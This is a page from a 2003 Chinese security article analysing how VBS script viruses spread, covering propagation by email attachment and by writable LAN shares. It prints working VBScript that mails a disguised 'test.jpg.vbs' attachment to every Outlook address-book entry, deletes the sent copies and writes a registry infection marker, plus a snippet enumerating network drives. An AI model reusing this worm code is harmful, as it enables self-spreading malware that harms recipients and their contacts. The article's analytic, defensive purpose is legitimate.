您现在的位置: 天极网 > 软件频道 > 网络安全频道 > 杀毒防毒 > VBS脚本病毒原理分析及防范
全文

VBS脚本病毒原理分析及防范

2003-10-15 14:48作者:出处:guojpeng责任编辑:
  1)通过Email附件传播

  这是一种用的非常普遍的传播方式,病毒可以通过各种方法拿到合法的Email地址,最常见的就是直接取outlook地址簿中的邮件地址,也可以通过程序在用户文档(譬如htm文件)中搜索Email地址。

  下面我们具体分析一下VBS脚本病毒是如何做到这一点的:

  Function mailBroadcast()
  on error resume next
  wscript.echo
  Set outlookApp = CreateObject("Outlook.Application") //创建一个OUTLOOK应用的对象
  If outlookApp= "Outlook" Then
   Set mapiObj=outlookApp.GetNameSpace("MAPI")   //获取MAPI的名字空间
   Set addrList= mapiObj.AddressLists        //获取地址表的个数
   For Each addr In addrList
   If  addr.AddressEntries.Count <> 0 Then
   addrEntCount = addr.AddressEntries.Count //获取每个地址表的Email记录数
   For addrEntIndex= 1 To addrEntCount     //遍历地址表的Email地址
    Set item = outlookApp.CreateItem(0)    //获取一个邮件对象实例
    Set addrEnt = addr.AddressEntries(addrEntIndex)   //获取具体Email地址
    item.To = addrEnt.Address           //填入收信人地址    item.Subject = "病毒传播实验"  //写入邮件标题
    item.Body = "这里是病毒邮件传播测试,收到此信请不要慌张!"  //写入文件内容
    Set attachMents=item.Attachments   //定义邮件附件
    attachMents.Add fileSysObj.GetSpecialFolder(0) & "\test.jpg.vbs"
    item.DeleteAfterSubmit = True    //信件提交后自动删除
    If item.To <> "" Then 
    item.Send           //发送邮件
    shellObj.regwrite "HKCU\software\Mailtest\mailed", "1" //病毒标记,以免重复感染
    End If
   Next
   End If
  Next
End if
End Function

  2)通过局域网共享传播

  局域网共享传播也是一种非常普遍并且有效的网络传播方式。一般来说,为了局域网内交流方便,一定存在不少共享目录,并且具有可写权限,譬如win2000创建共享时,默认就是具有可写权限。这样病毒通过搜索这些共享目录,就可以将病毒代码传播到这些目录之中。

  在VBS中,有一个对象可以实现网上邻居共享文件夹的搜索与文件操作。我们利用该对象就可以达到传播的目的。

welcome_msg = "网络连接搜索测试"
Set WSHNetwork = WScript.CreateObject("WScript.Network") ’创建一个网络对象
Set oPrinters = WshNetwork.EnumPrinterConnections   ’创建一个网络打印机连接列表
WScript.Echo "Network printer mappings:"
For i = 0 to oPrinters.Count - 1 Step 2   ’显示网络打印机连接情况
  WScript.Echo "Port " & oPrinters.Item(i) & " = " & oPrinters.Item(i+1)
Next
Set colDrives = WSHNetwork.EnumNetworkDrives   ’创建一个网络共享连接列表
If colDrives.Count = 0 Then
  MsgBox "没有可列出的驱动器。", vbInformation + vbOkOnly,welcome_msg
Else
  strMsg = "当前网络驱动器连接: " & CRLF
  For i = 0 To colDrives.Count - 1 Step 2
   strMsg = strMsg & Chr(13) & Chr(10) & colDrives(i) & Chr(9) & colDrives(i + 1)
  Next
  MsgBox strMsg, vbInformation + vbOkOnly, welcome_msg’显示当前网络驱动器连接End If

共7页。 9 1 2 3 4 5 6 7 :

软件资讯·软件下载尽在天极软件

相关搜索:
关注此文读者还看过
热门关注
特别推荐
网友关注
软件下载
娱乐下载
驱动下载
文章排行
本周
本月
最近更新
关于我们|About us|网站律师|天极服务|电子杂志|RSS订阅|加入我们|网站地图
TMG
Copyright (C) 1999-2009 Chinabyte.com, All Rights Reserved 版权所有 天极网络
商务联系、网站内容、合作建议:010-82657868
版权声明 在线提交意见反馈 渝ICP证B2-20030003号
经营性网站备案信息 网警备案 中国网站排名
天极传媒:天极网|比特网|IT专家网|IT商网|52PK游戏网|IT分众